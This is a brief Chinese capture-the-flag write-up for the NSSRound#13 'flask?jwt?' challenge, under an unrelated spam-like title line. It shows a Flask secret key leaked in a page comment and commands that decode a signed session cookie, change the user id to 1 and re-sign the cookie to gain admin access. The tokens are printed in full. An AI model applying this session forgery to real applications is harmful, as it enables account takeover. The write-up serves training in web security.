国家信用信息公示系统湖北_网页制作软件免费吗_关键词规划师_免费打广告平台有哪些

jwt

题目练习

[NSSRound#13 Basic]flask?jwt?

进入后是一个注册登录页面，然后有忘记密码功能(源码里面有提示:!-- secretkey: th3f1askisfunny -->)，猜测是jwt，登录进去之后getflag时要是admin

用bp抓包getflag，得到一段session

.eJwljjsOwyAQBe9CnWJ_LMaXsXiwKGntuIpy9yClHY1G80nHPON6pv193vFIx2ukPSm4Qp2t5IiqTXSGNpdQoG9VvFsZZBZDczYoD6NGvZizEgeXukFpUpMh0TCdCESrJAJfqFuODOk1fKWXZwwgolNj2QhpjdxXnP8bS98flTovTw.Zrqbcw.XmmbR3W_6SDofQc2AnvLvvWdN7k

使用脚本解密

python flask_session_cookie_manager3.py -s "th3f1askisfunny" -c ".eJwljjsOwyAQBe9CnWJ_LMaXsXiwKGntuIpy9yClHY1G80nHPON6pv193vFIx2ukPSm4Qp2t5IiqTXSGNpdQoG9VvFsZZBZDczYoD6NGvZizEgeXukFpUpMh0TCdCESrJAJfqFuODOk1fKWXZwwgolNj2QhpjdxXnP8bS98flTovTw.Zrqbcw.XmmbR3W_6SDofQc2AnvLvvWdN7k"

得到解密内容：

{'_fresh': True, '_id': '3b19b361475ee93a23fe3a62e3bbc8926c47d044ed3554b31d40a0c7461301e1798b30f0a2d2eabf600b00e9322b6d2ec45e5b2c9e623ff0a41bbbeec0a1280b', '_user_id': '4'}

猜测admin的_user_id是1，将其修改为1之后加密：

python flask_session_cookie_manager3.py encode -s"th3f1askisfunny" -t "{'_fresh': True, '_id': '3b19b361475ee93a23fe3a62e3bbc8926c47d044ed3554b31d40a0c7461301e1798b30f0a2d2eabf600b00e9322b6d2ec45e5b2c9e623ff0a41bbbeec0a1280b', '_user_id': '1'}"

得到的加密session:

.eJwljjsOwyAQBe9CnWJ_LMaXsXiwKGntuIpy9yClHY1G80nHPON6pv193vFIx2ukPSm4Qp2t5IiqTXSGNpdQoG9VvFsZZBZDczYoD6NGvZizEgeXukFpUpMh0TCdCESrJAJfqFuODOk1fKWXZwwgolNj2QhpjdxXnP8bTt8flTEvTA.ZrqfFg.wx-hbPKA50GmyVvzOlO7cufCt_A

替换原来的session即可